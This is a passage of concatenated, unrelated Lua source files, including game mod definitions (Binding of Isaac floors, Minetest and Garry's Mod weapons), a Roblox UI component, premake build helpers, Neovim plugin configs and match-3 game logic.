{BossID = "Mom's Heart", OnlyReplaceSubtype = 8},
{BossID = "It Lives", OnlyReplaceSubtype = 25}
}
end
StageAPI.SetFloorInfo({
Prefix = "07x_corpse",
VsBgColor = Color(13/255, 14/255, 12/255, 1, 0, 0, 0),
VsDirtColor = Color(124/255, 134/255, 111/255, 1, 0, 0, 0),
Backdrop = BackdropType.CORPSE,
RoomGfx = StageAPI.BaseRoomGfx.Corpse,
Bosses = poolWrap{
{BossID = "The Scourge"},
{BossID = "Chimera"},
{BossID = "Rotgut"},
}
}, settingStage, StageType.STAGETYPE_REPENTANCE)
StageAPI.SetFloorInfo({
Prefix = "07x_corpse",
Backdrop = BackdropType.MORTIS
}, settingStage, StageType.STAGETYPE_REPENTANCE_B)
settingStage = LevelStage.STAGE5
StageAPI.SetFloorInfo({
Prefix = "09_sheol",
VsBgColor = Color(6/255, 6/255, 6/255, 1, 0, 0, 0),
VsDirtColor = Color(60/255, 54/255, 54/255, 1, 0, 0, 0),
Backdrop = BackdropType.SHEOL,
RoomGfx = StageAPI.BaseRoomGfx.Sheol,
Bosses = poolWrap{
{BossID = "Satan"}
}
}, settingStage, StageType.STAGETYPE_ORIGINAL, false)
StageAPI.SetFloorInfo({
Prefix = "10_cathedral",
VsBgColor = Color(6/255, 13/255, 17/255, 1, 0, 0, 0),
VsDirtColor = Color(44/255, 100/255, 111/255, 1, 0, 0, 0),
Backdrop = BackdropType.CATHEDRAL,
RoomGfx = StageAPI.BaseRoomGfx.Cathedral,
Bosses = poolWrap{
{BossID = "Isaac"}
}
}, settingStage, StageType.STAGETYPE_WOTL, false)
settingStage = LevelStage.STAGE6
StageAPI.SetFloorInfo({
Prefix = "11_darkroom",
VsBgColor = Color(9/255, 4/255, 3/255, 1, 0, 0, 0),
VsDirtColor = Color(80/255, 38/255, 20/255, 1, 0, 0, 0),
Backdrop = BackdropType.DARKROOM,
RoomGfx = StageAPI.BaseRoomGfx.DarkRoom,
Bosses = poolWrap{
{BossID = "The Lamb"}
}
}, settingStage, StageType.STAGETYPE_ORIGINAL, false)
StageAPI.SetFloorInfo({
Prefix = "12_chest",
VsBgColor = Color(15/255, 9/255, 6/255, 1, 0, 0, 0),
VsDirtColor = Color(175/255, 108/255, 72/255, 1, 0, 0, 0),
Backdrop = BackdropType.CHEST,
RoomGfx = StageAPI.BaseRoomGfx.Chest,
Bosses = poolWrap{
{BossID = "Blue Baby"}
}
}, settingStage, StageType.STAGETYPE_WOTL, false)
-- Special Floors
StageAPI.SetFloorInfo({
Prefix = "17_blue_womb",
VsBgColor = Color(26/255, 32/255, 40/255, 1, 0, 0, 0),
VsDirtColor = Color(157/255, 209/255, 255/255, 1, 0, 0, 0),
Backdrop = BackdropType.BLUE_WOMB,
RoomGfx = StageAPI.BaseRoomGfx.BlueWomb,
Bosses = poolWrap{
{BossID = "Hush"}
}
}, LevelStage.STAGE4_3, true, false)
StageAPI.SetFloorInfo({
Prefix = "19_void",
VsBgColor = Color(0, 0, 0, 1, 0, 0, 0),
VsDirtColor = Color(70/255, 5/255, 5/255, 1, 0, 0, 0),
Backdrop = BackdropType.NUM_BACKDROPS
}, LevelStage.STAGE7, true, false)
StageAPI.SetFloorInfo({
Prefix = "0ex_dogma",
Backdrop = BackdropType.ISAACS_BEDROOM,
RoomGfx = StageAPI.BaseRoomGfx.Isaacs
}, LevelStage.STAGE8, true, false)
-- Greed Floors
StageAPI.SetFloorInfo({
Prefix = "09_sheol",
VsBgColor = Color(6/255, 6/255, 6/255, 1, 0, 0, 0),
VsDirtColor = Color(60/255, 54/255, 54/255, 1, 0, 0, 0),
Backdrop = BackdropType.SHEOL,
RoomGfx = StageAPI.BaseRoomGfx.Sheol
}, LevelStage.STAGE5_GREED, true, true)
StageAPI.SetFloorInfo({
Prefix = "bossspot_18_shop",
VsBgColor = Color(26/255, 17/255, 13/255, 1, 0, 0, 0),
VsDirtColor = Color(229/255, 157/255, 111/255, 1, 0, 0, 0),
Backdrop = BackdropType.SHOP,
RoomGfx = StageAPI.BaseRoomGfx.Shop
}, LevelStage.STAGE6_GREED, true, true)
StageAPI.SetFloorInfo({
Prefix = "bossspot_18_shop",
VsBgColor = Color(26/255, 17/255, 13/255, 1, 0, 0, 0),
VsDirtColor = Color(229/255, 157/255, 111/255, 1, 0, 0, 0),
Backdrop = BackdropType.SHOP,
RoomGfx = StageAPI.BaseRoomGfx.Shop
}, LevelStage.STAGE7_GREED, true, true)
end
|
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by yiguangzheng.
--- DateTime: 2021/6/2 下午3:41
---
local t = { "a", "b", "c" }
t[2] = "B"
t["foo"] = "Bar"
local s = t[3] .. t[2] .. t[1] .. t["foo"] .. #t
|
--[[
Title: Keepwork System Tag API
Author(s): big
Date: 2019.11.8
Place: Foshan
use the lib:
------------------------------------------------------------
local KeepworkSystemTagApi = NPL.load("(gl)Mod/WorldShare/api/Keepwork/SystemTag.lua")
------------------------------------------------------------
]]
local KeepworkBaseApi = NPL.load('(gl)Mod/WorldShare/api/Keepwork/BaseApi.lua')
local KeepworkSystemTagApi = NPL.export()
-- url: /systemTags/search?classify=1&x-order=extra.sn-asc
-- method:
-- params: [[]]
-- return: object
function KeepworkSystemTagApi:Search(success, error)
KeepworkBaseApi:Post('/systemTags/search?classify=1&x-order=extra.sn-asc', nil, nil, success, error)
end
|
minetest.register_tool("rangedweapons:mp5_r", {
stack_max= 1,
wield_scale = {x=1.75,y=1.75,z=1.20},
description = "",
rw_next_reload = "rangedweapons:mp5_rr",
load_sound = "rangedweapons_handgun_mag_in",
range = 0,
groups = {not_in_creative_inventory = 1},
inventory_image = "rangedweapons_mp5_rld.png",
})
minetest.register_tool("rangedweapons:mp5_rr", {
stack_max= 1,
wield_scale = {x=1.75,y=1.75,z=1.20},
description = "",
rw_next_reload = "rangedweapons:mp5_rrr",
load_sound = "rangedweapons_reload_a",
range = 0,
groups = {not_in_creative_inventory = 1},
inventory_image = "rangedweapons_mp5.png",
})
minetest.register_tool("rangedweapons:mp5_rrr", {
stack_max= 1,
wield_scale = {x=1.75,y=1.75,z=1.20},
description = "",
rw_next_reload = "rangedweapons:mp5",
load_sound = "rangedweapons_reload_b",
range = 0,
groups = {not_in_creative_inventory = 1},
inventory_image = "rangedweapons_mp5.png",
})
minetest.register_tool("rangedweapons:mp5", {
stack_max= 1,
wield_scale = {x=1.75,y=1.75,z=1.20},
description = "" ..core.colorize("#35cdff","MP5\n") ..core.colorize("#FFFFFF", "Gun damage: 3\n") ..core.colorize("#FFFFFF", "accuracy: 74%\n") ..core.colorize("#FFFFFF", "Gun knockback: 1\n") ..core.colorize("#FFFFFF", "Gun Critical chance: 7%\n")..core.colorize("#FFFFFF", "Critical efficiency: 2.0x\n") ..core.colorize("#FFFFFF", "Reload delay: 1.0\n") ..core.colorize("#FFFFFF", "Clip size: 40/40\n") ..core.colorize("#FFFFFF", "Ammunition: 9x19mm parabellum/10mm auto\n") ..core.colorize("#FFFFFF", "Rate of fire: 0.075(full-auto)\n") ..core.colorize("#FFFFFF", "Gun type: sub-machinegun\n") ..core.colorize("#FFFFFF", "Bullet velocity: 25"),
range = 0,
inventory_image = "rangedweapons_mp5.png",
RW_gun_capabilities = {
automatic_gun = 1,
gun_damage = {fleshy=3,knockback=1},
gun_crit = 7,
gun_critEffc = 2.0,
suitable_ammo = {{"rangedweapons:9mm",40},{"rangedweapons:10mm",40}},
gun_skill = {"smg_skill",75},
gun_magazine = "rangedweapons:machinepistol_mag",
gun_icon = "rangedweapons_mp5_icon.png",
gun_unloaded = "rangedweapons:mp5_r",
gun_velocity = 25,
gun_accuracy = 74,
gun_cooldown = 0.075,
gun_reload = 1.0/4,
gun_projectiles = 1,
has_shell = 1,
gun_gravity = 0,
gun_durability = 1600,
gun_smokeSize = 4,
gun_unload_sound = "rangedweapons_handgun_mag_out",
gun_sound = "rangedweapons_machine_pistol",
},
on_secondary_use = function(itemstack, user, pointed_thing)
rangedweapons_reload_gun(itemstack, user)
return itemstack
end,
})
|
return {'oester','oesterbank','oesterbar','oesterbed','oestercultuur','oesterkwekerij','oesterparel','oesterput','oestersaus','oesterschelp','oesterteelt','oesterzaad','oesterzwam','oestradiol','oestrogeen','oestrogeengehalte','oestrus','oestrogeensubstitutie','oestermes','oestervocht','oesterbeurs','oesterpark','oeselgem','oesterholt','oesterbanken','oesterkwekerijen','oesterkwekers','oesterpannen','oesterputten','oesters','oesterschelpen','oestertje','oestertjes','oestrogenen','oesterbedden','oesterparels','oesterzwammen','oestermessen'}
|
local function namespace(res)
res = res or {}
setmetatable(res, {__index= _G})
setfenv(2, res)
return res
end
return namespace
|
-- Project: OiL - ORB in Lua
-- Release: 0.6
-- Title : Client-side LuDO Protocol
-- Authors: Renato Maia <maia@inf.puc-rio.br>
local _G = require "_G" --[[VERBOSE]] local verbose = require "oil.verbose"
local ipairs = _G.ipairs
local pairs = _G.pairs
local package = require "package"
local loaded = package.loaded
local proto = require "loop.proto"
local clone = proto.clone
local StringStream = require "loop.serial.StringStream"
local oo = require "oil.oo"
local class = oo.class
local Codec = class()
function Codec:localresources(resources)
local names = {}
local values = {}
for name, resource in pairs(resources) do
names[resource] = name
values[name] = resource
end
local proxykind = resources.proxykind
for _, kind in ipairs(proxykind) do
local manager = proxykind[kind]
local class = manager.class
local name = kind.."ProxyClass"
names[class] = name
values[name] = class
end
self.encoderprototype = StringStream(names)
self.decoderprototype = StringStream(values)
self.encoderprototype:register(loaded)
end
function Codec:encoder()
return clone(self.encoderprototype)
end
function Codec:decoder(stream)
return clone(self.decoderprototype, { data = stream })
end
return Codec
|
local CorePackages = game:GetService("CorePackages")
local StarterPlayer = game:GetService("StarterPlayer")
local Roact = require(CorePackages.Roact)
local RoactRodux = require(CorePackages.RoactRodux)
local Components = script.Parent
local EmotesMenu = Components.Parent
local CoreScriptsModules = EmotesMenu.Parent
local Constants = require(EmotesMenu.Constants)
local RobloxTranslator = require(CoreScriptsModules.RobloxTranslator)
local WheelText = Roact.PureComponent:extend("WheelText")
function WheelText:getWheelText()
local currentEmotes = self.props.emotesPage.currentEmotes
local locale = self.props.locale
local numberEmotesLoaded = self.props.emotesPage.numberEmotesLoaded
if next(currentEmotes) == nil then
if StarterPlayer.UserEmotesEnabled and numberEmotesLoaded == 0 then
return RobloxTranslator:FormatByKeyForLocale(Constants.LocalizationKeys.NoEmotesEquipped, locale)
else
return RobloxTranslator:FormatByKeyForLocale(Constants.LocalizationKeys.EmotesDisabled, locale)
end
end
local focusedSlot = self.props.emotesWheel.focusedSegmentIndex
local emoteName = currentEmotes[focusedSlot]
if emoteName then
return emoteName
else
return RobloxTranslator:FormatByKeyForLocale(Constants.LocalizationKeys.SelectAnEmote, locale)
end
end
function WheelText:render()
local LayoutConstants = Constants.Layouts[self.props.layout]
local wheelText = self:getWheelText()
return Roact.createElement("TextLabel", {
AnchorPoint = Vector2.new(0.5, 0.5),
Size = UDim2.new(Constants.InnerCircleSizeRatio, -Constants.TextPadding,
Constants.InnerCircleSizeRatio, -Constants.TextPadding),
Position = UDim2.new(0.5, 0, 0.5, 0),
BackgroundTransparency = 1,
Text = wheelText,
TextScaled = true,
TextSize = LayoutConstants.MiddleTextSize,
TextColor3 = Constants.Colors.White,
Font = LayoutConstants.MiddleTextFont,
ZIndex = 5, -- TODO: Remove when CoreGui uses Sibling ZIndex
}, {
TextSizeConstraint = Roact.createElement("UITextSizeConstraint", {
MaxTextSize = LayoutConstants.MiddleTextSize,
}),
})
end
local function mapStateToProps(state)
return {
emotesWheel = state.emotesWheel,
emotesPage = state.emotesPage,
layout = state.layout,
locale = state.locale,
}
end
return RoactRodux.UNSTABLE_connect2(mapStateToProps, nil)(WheelText)
|
-- This module checks for the all the project dependencies.
require('vstudio')
require('premake/premake.fixes')
require('premake/premake.extensions')
newoption {
trigger = "arch",
description = "Choose a particular architecture / bitness",
default = "x64",
allowed = {
{ "x86", "x86 32-bits" },
{ "x64", "x64 64-bits" },
}
}
newoption {
trigger = "no-cxx11-abi",
description = "disable C++-11 ABI on GCC 4.9+"
}
newoption {
trigger = "disable-tests",
description = "disable tests from being included"
}
newoption {
trigger = "disable-examples",
description = "disable examples from being included"
}
newoption {
trigger = "configuration",
description = "Choose a configuration",
default = "Release",
allowed = {
{ "Release", "Release" },
{ "Debug", "Debug" },
}
}
rootdir = path.getabsolute("../")
srcdir = path.join(rootdir, "src");
incdir = path.join(rootdir, "include");
examplesdir = path.join(rootdir, "examples");
testsdir = path.join(rootdir, "tests");
builddir = path.join(rootdir, "build")
bindir = path.join(rootdir, "bin")
objsdir = path.join(builddir, "obj");
gendir = path.join(builddir, "gen");
actionbuilddir = path.join(builddir, _ACTION == "gmake2" and "gmake" or (_ACTION and _ACTION or ""));
bindircfg = path.join(bindir, "%{cfg.buildcfg}_%{cfg.platform}");
prjobjdir = path.join(objsdir, "%{prj.name}", "%{cfg.buildcfg}")
msvc_buildflags = { "/MP", "/wd4267" }
msvc_cpp_defines = { }
default_gcc_version = "9.0.0"
generate_build_config = true
premake.path = premake.path .. ";" .. path.join(builddir, "modules")
function string.starts(str, start)
if str == nil then return end
return string.sub(str, 1, string.len(start)) == start
end
function SafePath(path)
return "\"" .. path .. "\""
end
function target_architecture()
return _OPTIONS["arch"]
end
function SetupNativeProject()
location (path.join(actionbuilddir, "projects"))
files { "*.lua" }
filter { "configurations:Debug" }
defines { "DEBUG" }
filter { "configurations:Release" }
defines { "NDEBUG" }
optimize "On"
-- Compiler-specific options
filter { "toolset:msc*" }
buildoptions { msvc_buildflags }
defines { msvc_cpp_defines }
filter { "system:linux" }
buildoptions { gcc_buildflags }
links { "stdc++" }
filter { "toolset:clang", "system:not macosx" }
linkoptions { "-fuse-ld=/usr/bin/ld.lld" }
filter { "toolset:clang" }
buildoptions { "-fstandalone-debug" }
filter { "toolset:clang", "language:C++", "system:macosx" }
buildoptions { gcc_buildflags, "-stdlib=libc++" }
links { "c++" }
filter { "toolset:not msc*", "language:C++" }
cppdialect "C++14"
buildoptions { "-fpermissive" }
-- OS-specific options
filter { "system:windows" }
defines { "WIN32", "_WINDOWS" }
-- For context: https://github.com/premake/premake-core/issues/935
filter {"system:windows", "toolset:msc*"}
systemversion("latest")
filter {}
end
function SetupManagedProject()
language "C#"
location "."
filter {}
end
function IncludeDir(dir)
local deps = os.matchdirs(dir .. "/*")
for i,dep in ipairs(deps) do
local fp = path.join(dep, "premake5.lua")
fp = path.join(os.getcwd(), fp)
if os.isfile(fp) then
include(dep)
return
end
fp = path.join(dep, "premake4.lua")
fp = path.join(os.getcwd(), fp)
if os.isfile(fp) then
--print(string.format(" including %s", dep))
include(dep)
end
end
end
function StaticLinksOpt(libnames)
local path = table.concat(cc.configset.libdirs, ";")
local formats
if os.is("windows") then
formats = { "%s.lib" }
else
formats = { "lib%s.a" }
end
table.insert(formats, "%s");
local existing_libnames = {}
for _, libname in ipairs(libnames) do
for _, fmt in ipairs(formats) do
local name = string.format(fmt, libname)
if os.pathsearch(name, path) then
table.insert(existing_libnames, libname)
end
end
end
links(existing_libnames)
end
function UseClang()
local cc = _OPTIONS.cc or ""
local env = os.getenv("CXX") or ""
return string.match(cc, "clang") or string.match(env, "clang")
end
function GccVersion()
local compiler = os.getenv("CXX")
if compiler == nil then
compiler = "gcc"
end
local out = os.outputof(compiler.." -v")
if out == nil then
return default_gcc_version
end
local version = string.match(out, "gcc[ -][Vv]ersion [0-9\\.]+")
if version ~= nil then
return string.sub(version, 13)
end
version = string.match(out, "clang[ -][Vv]ersion [0-9\\.]+")
return string.sub(version, 15)
end
function UseCxx11ABI()
if os.istarget("linux") and premake.checkVersion(GccVersion(), '4.9.0') and _OPTIONS["no-cxx11-abi"] == nil then
return true
end
return false
end
function EnableNativeProjects()
return not (string.starts(_ACTION, "vs") and not os.ishost("windows"))
end
function EnabledManagedProjects()
return string.starts(_ACTION, "vs")
end
function EnabledCLIProjects()
return EnabledManagedProjects() and os.istarget("windows")
end
function AddPlatformSpecificFiles(folder, filename)
if os.istarget("windows") then
filter { "toolset:msc*", "architecture:x86_64" }
files { path.join(folder, "x86_64-pc-win32-msvc", filename) }
filter { "toolset:msc*", "architecture:x86" }
files { path.join(folder, "i686-pc-win32-msvc", filename) }
elseif os.istarget("macosx") then
filter { "architecture:x86_64" }
files { path.join(folder, "x86_64-apple-darwin12.4.0", filename) }
filter {"architecture:x86" }
files { path.join(folder, "i686-apple-darwin12.4.0", filename) }
elseif os.istarget("linux") then
filter { "architecture:x86_64" }
files { path.join(folder, "x86_64-linux-gnu" .. (UseCxx11ABI() and "-cxx11abi" or ""), filename) }
else
print "Unknown architecture"
end
end
|
return function()
g.startify_lists = {{type = "dir", header = {" Most recently updated in " .. fn.getcwd()}}}
-- use vsc root when enter file
g.startify_change_to_vcs_root = 1
-- do not show 'edit' and 'quit' options
g.startify_enable_special = 1
-- start from 1 when choosing
g.startify_custom_indices = {"a", "r", "s", "t", "n", "e", "o", "i", 1, 2, 3, 4, 7, 8, 9, 0}
end
|
require'compe'.setup {
enabled = true;
autocomplete = true;
debug = false;
min_length = 1;
preselect = 'enable';
throttle_time = 80;
source_timeout = 200;
incomplete_delay = 400;
max_abbr_width = 100;
max_kind_width = 100;
max_menu_width = 100;
documentation = true;
source = {
-- Built-in
buffer = true;
calc = true;
path = true;
spell = true;
tags = true;
-- Neovim
nvim_lsp = true;
nvim_lua = true;
-- External plugin
treesitter = true;
vsnip = true;
-- External source
tabnine = true;
};
}
vim.o.completeopt = "menuone,noselect"
|
AddCSLuaFile()
AddCSLuaFile("sh_sounds.lua")
include("sh_sounds.lua")
SWEP.magType = "pistolMag"
CustomizableWeaponry:registerAmmo(".380 ACP", ".380 ACP Rounds", 9, 17)
SWEP.PrintName = "Micro Desert Eagle"
if CLIENT then
SWEP.DrawCrosshair = false
SWEP.CSMuzzleFlashes = true
SWEP.IconLetter = "y"
killicon.Add( "", "", Color(255, 80, 0, 150))
SWEP.MuzzleEffect = "muzzleflash_pistol"
SWEP.PosBasedMuz = true
SWEP.Shell = "smallshell"
SWEP.ShellScale = .45
SWEP.ShellOffsetMul = 0
SWEP.ShellPosOffset = {x = 0, y = 2, z = 0}
SWEP.EffectiveRange_Orig = 34.2 * 39.37
SWEP.DamageFallOff_Orig = .47
SWEP.IronsightPos = Vector(3.7888, 0, 4.36)
SWEP.IronsightAng = Vector(-4.1, 0.01, 0)
SWEP.SprintPos = Vector(0, 0, 0)
SWEP.SprintAng = Vector(-40, 0, 0)
SWEP.CustomizePos = Vector(-4, -4.8889, 2.7778)
SWEP.CustomizeAng = Vector(12.0805, -28.9933, -24.1611)
SWEP.AlternativePos = Vector(1.3423, -2.2, 1.5)
SWEP.AlternativeAng = Vector(0, 0, 0)
SWEP.MoveType = 1
SWEP.ViewModelMovementScale = 1.5
SWEP.BoltBone = "slide"
SWEP.BoltShootOffset = Vector(-1, 0, 0)
SWEP.BoltReloadOffset = Vector(.85, 0, 0)
SWEP.OffsetBoltDuringNonEmptyReload = true
SWEP.ReloadBoltBonePositionRecoverySpeed = 25
SWEP.ReloadBoltBonePositionMoveSpeed = 999
SWEP.StopReloadBoneOffset = .8
SWEP.HoldBoltWhileEmpty = true
SWEP.DontHoldWhenReloading = true
SWEP.DisableSprintViewSimulation = true
SWEP.LuaVMRecoilAxisMod = {vert = 1, hor = 2, roll = 4, forward = 1, pitch = 1}
SWEP.CustomizationMenuScale = 0.013
SWEP.BoltBonePositionRecoverySpeed = 35 -- how fast does the bolt bone move back into it's initial position after the weapon has fired
SWEP.AttachmentModelsVM = {
["md_tokasup"] = { type = "Model", model = "models/cw2/attachments/pbs1.mdl", bone = "body", rel = "", pos = Vector(-0.59, 5.86, .75), angle = Angle(90, 90, 90), size = Vector(0.48, 0.48, 0.48), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }
}
end
SWEP.MuzzleVelocity = 300 -- in meter/s
SWEP.MagBGs = {main = 1, mag1 = 0, mag2 = 1}
SWEP.LuaViewmodelRecoil = false
SWEP.FullAimViewmodelRecoil = false
SWEP.CanRestOnObjects = false
SWEP.Attachments = {[1] = {header = "Magazine", offset = {-500, 50}, atts = {"bg_mdemag"}},
["+reload"] = {header = "Ammo", offset = {400, -200}, atts = {"am_magnum", "am_matchgrade"}}}
SWEP.Animations = {fire = {"shoot1","shoot2"},
reload = "reload",
idle = "idle",
draw = "draw"}
SWEP.Sounds = {draw = {{time = 0, sound = "M92FS_DEPLOY"}},
reload = {[1] = {time = 0.6, sound = "RUBY_CLIPOUT"},
[2] = {time = 1.3, sound = "RUBY_CLIPIN"},
[3] = {time = 2, sound = "RUBY_SLIDEREL"}}}
SWEP.SpeedDec = 5
SWEP.Slot = 1
SWEP.SlotPos = 0
SWEP.NormalHoldType = "pistol"
SWEP.RunHoldType = "normal"
SWEP.FireModes = {"semi"}
SWEP.Base = "cw_base"
SWEP.Category = "CW 2.0 - Pistols"
SWEP.Author = "Khris"
SWEP.Contact = ""
SWEP.Purpose = ""
SWEP.Instructions = "Rack slide. Face barrel towards enemy. Do not eat."
SWEP.ViewModelFOV = 75
SWEP.AimViewModelFOV = 75
SWEP.ViewModelFlip = true
SWEP.ViewModel = "models/khrcw2/v_khri_microeagle.mdl"
SWEP.WorldModel = "models/weapons/w_pist_p228.mdl"
SWEP.Spawnable = true
SWEP.AdminSpawnable = true
SWEP.Primary.ClipSize = 6
SWEP.Primary.DefaultClip = 6
SWEP.Primary.Automatic = false
SWEP.Primary.Ammo = ".380 ACP"
SWEP.FireDelay = 0.1
SWEP.FireSound = "RUBY_FIRE"
SWEP.FireSoundSuppressed = "RUBY_FIRE_SUPPRESSED"
SWEP.Recoil = 1.1
SWEP.FOVPerShot = 0.3
SWEP.HipSpread = 0.065
SWEP.AimSpread = 0.02
SWEP.VelocitySensitivity = .8
SWEP.MaxSpreadInc = 0.09
SWEP.SpreadPerShot = 0.01
SWEP.SpreadCooldown = 0.3
SWEP.Shots = 1
SWEP.Damage = 20
SWEP.DeployTime = 0.1
SWEP.ADSFireAnim = true
SWEP.ReloadSpeed = .9
SWEP.ReloadTime = 1.9
SWEP.ReloadHalt = 1.9
SWEP.ReloadTime_Empty = 2.7
SWEP.ReloadHalt_Empty = 2.7
SWEP.SnapToIdlePostReload = true
function SWEP:IndividualThink()
self.EffectiveRange = 34.2 * 39.37
self.DamageFallOff = .47
if self.ActiveAttachments.am_matchgrade then
self.EffectiveRange = ((self.EffectiveRange + 5.13 * 39.37))
self.DamageFallOff = ((self.DamageFallOff - .0705))
end
end
|
module(..., package.seeall)
function findMatchedTiles(gemsTable)
local numberOfMarked = 0
-- set all tiles to false
for i = 1, 8, 1 do
for j = 1, 8, 1 do
gemsTable[i][j].isMarked = false
end
end
-- helper function to find matched tiles, set to true for all searched tiles
local function checkMatchedTiles(self)
self.isMarked = true
numberOfMarked = numberOfMarked + 1
-- check on the left
if self.i>1 then
if (gemsTable[self.i-1][self.j]).isMarked == false then
if (gemsTable[self.i-1][self.j]).gemType == self.gemType or (gemsTable[self.i-1][self.j]).gemType == "rainbow" then
checkMatchedTiles( gemsTable[self.i-1][self.j] )
end
end
end
-- check on the right
if self.i<8 then
if (gemsTable[self.i+1][self.j]).isMarked == false then
if (gemsTable[self.i+1][self.j]).gemType == self.gemType or (gemsTable[self.i+1][self.j]).gemType == "rainbow" then
checkMatchedTiles( gemsTable[self.i+1][self.j] )
end
end
end
-- check above
if self.j>1 then
if (gemsTable[self.i][self.j-1]).isMarked == false then
if (gemsTable[self.i][self.j-1]).gemType == self.gemType or (gemsTable[self.i][self.j-1]).gemType == "rainbow" then
checkMatchedTiles( gemsTable[self.i][self.j-1] )
end
end
end
-- check below
if self.j<8 then
if (gemsTable[self.i][self.j+1]).isMarked == false then
if (gemsTable[self.i][self.j+1]).gemType == self.gemType or (gemsTable[self.i][self.j+1]).gemType == "rainbow" then
checkMatchedTiles( gemsTable[self.i][self.j+1] )
end
end
end
end
for i = 1, 8, 1 do
for j = 1, 8, 1 do
numberOfMarked = 0
if gemsTable[i][j].class == "bomb" then
return true
end
checkMatchedTiles(gemsTable[i][j])
if numberOfMarked >=3 then
return true
end
end
end
return false
end
function findExplodedTiles(i, j, bombType, information)
local bombSet = information["bombSet"]
local gemsTable = information["gemsTable"]
-- area
if bombType == "area" then
gemsTable[i][j].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i][j])
if i == 1 or i == 8 or j == 1 or j == 8 then
if i == 1 and j == 1 then
gemsTable[i+1][j].isMarkedToDestroy = true
gemsTable[i+2][j].isMarkedToDestroy = true
gemsTable[i][j+1].isMarkedToDestroy = true
gemsTable[i+1][j+1].isMarkedToDestroy = true
gemsTable[i+2][j+1].isMarkedToDestroy = true
gemsTable[i][j+2].isMarkedToDestroy = true
gemsTable[i+1][j+2].isMarkedToDestroy = true
gemsTable[i+2][j+2].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i+1][j])
table.insert(bombSet, gemsTable[i+2][j])
table.insert(bombSet, gemsTable[i][j+1])
table.insert(bombSet, gemsTable[i+1][j+1])
table.insert(bombSet, gemsTable[i+2][j+1])
table.insert(bombSet, gemsTable[i][j+2])
table.insert(bombSet, gemsTable[i+1][j+2])
table.insert(bombSet, gemsTable[i+2][j+2])
elseif i == 1 and j == 8 then
gemsTable[i+1][j].isMarkedToDestroy = true
gemsTable[i+2][j].isMarkedToDestroy = true
gemsTable[i][j-1].isMarkedToDestroy = true
gemsTable[i+1][j-1].isMarkedToDestroy = true
gemsTable[i+2][j-1].isMarkedToDestroy = true
gemsTable[i][j-2].isMarkedToDestroy = true
gemsTable[i+1][j-2].isMarkedToDestroy = true
gemsTable[i+2][j-2].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i+1][j])
table.insert(bombSet, gemsTable[i+2][j])
table.insert(bombSet, gemsTable[i][j-1])
table.insert(bombSet, gemsTable[i+1][j-1])
table.insert(bombSet, gemsTable[i+2][j-1])
table.insert(bombSet, gemsTable[i][j-2])
table.insert(bombSet, gemsTable[i+1][j-2])
table.insert(bombSet, gemsTable[i+2][j-2])
elseif i == 8 and j == 1 then
gemsTable[i-1][j].isMarkedToDestroy = true
gemsTable[i-2][j].isMarkedToDestroy = true
gemsTable[i][j+1].isMarkedToDestroy = true
gemsTable[i-1][j+1].isMarkedToDestroy = true
gemsTable[i-2][j+1].isMarkedToDestroy = true
gemsTable[i][j+2].isMarkedToDestroy = true
gemsTable[i-1][j+2].isMarkedToDestroy = true
gemsTable[i-2][j+2].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i-1][j])
table.insert(bombSet, gemsTable[i-2][j])
table.insert(bombSet, gemsTable[i][j-1])
table.insert(bombSet, gemsTable[i-1][j-1])
table.insert(bombSet, gemsTable[i-2][j-1])
table.insert(bombSet, gemsTable[i][j-2])
table.insert(bombSet, gemsTable[i-1][j-2])
table.insert(bombSet, gemsTable[i-2][j-2])
elseif i == 8 and j == 8 then
gemsTable[i-1][j].isMarkedToDestroy = true
gemsTable[i-2][j].isMarkedToDestroy = true
gemsTable[i][j-1].isMarkedToDestroy = true
gemsTable[i-1][j-1].isMarkedToDestroy = true
gemsTable[i-2][j-1].isMarkedToDestroy = true
gemsTable[i][j-2].isMarkedToDestroy = true
gemsTable[i-1][j-2].isMarkedToDestroy = true
gemsTable[i-2][j-2].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i-1][j])
table.insert(bombSet, gemsTable[i-2][j])
table.insert(bombSet, gemsTable[i][j-1])
table.insert(bombSet, gemsTable[i-1][j-1])
table.insert(bombSet, gemsTable[i-2][j-1])
table.insert(bombSet, gemsTable[i][j-2])
table.insert(bombSet, gemsTable[i-1][j-2])
table.insert(bombSet, gemsTable[i-2][j-2])
else
if i == 1 then
gemsTable[i][j-1].isMarkedToDestroy = true
gemsTable[i][j+1].isMarkedToDestroy = true
gemsTable[i+1][j].isMarkedToDestroy = true
gemsTable[i+1][j-1].isMarkedToDestroy = true
gemsTable[i+1][j+1].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i][j-1])
table.insert(bombSet, gemsTable[i][j+1])
table.insert(bombSet, gemsTable[i+1][j])
table.insert(bombSet, gemsTable[i+1][j-1])
table.insert(bombSet, gemsTable[i+1][j+1])
elseif i == 8 then
gemsTable[i][j-1].isMarkedToDestroy = true
gemsTable[i][j+1].isMarkedToDestroy = true
gemsTable[i-1][j].isMarkedToDestroy = true
gemsTable[i-1][j-1].isMarkedToDestroy = true
gemsTable[i-1][j+1].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i][j-1])
table.insert(bombSet, gemsTable[i][j+1])
table.insert(bombSet, gemsTable[i-1][j])
table.insert(bombSet, gemsTable[i-1][j-1])
table.insert(bombSet, gemsTable[i-1][j+1])
elseif j == 1 then
gemsTable[i+1][j].isMarkedToDestroy = true
gemsTable[i-1][j].isMarkedToDestroy = true
gemsTable[i][j+1].isMarkedToDestroy = true
gemsTable[i+1][j+1].isMarkedToDestroy = true
gemsTable[i-1][j+1].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i+1][j])
table.insert(bombSet, gemsTable[i-1][j])
table.insert(bombSet, gemsTable[i][j+1])
table.insert(bombSet, gemsTable[i+1][j+1])
table.insert(bombSet, gemsTable[i-1][j+1])
elseif j == 8 then
gemsTable[i+1][j].isMarkedToDestroy = true
gemsTable[i-1][j].isMarkedToDestroy = true
gemsTable[i][j-1].isMarkedToDestroy = true
gemsTable[i+1][j-1].isMarkedToDestroy = true
gemsTable[i-1][j-1].isMarkedToDestroy = true
table.insert(bombSet, gemsTable[i+1][j])
table.insert(bombSet, gemsTable[i-1][j])
table.insert(bombSet, gemsTable[i][j-1])
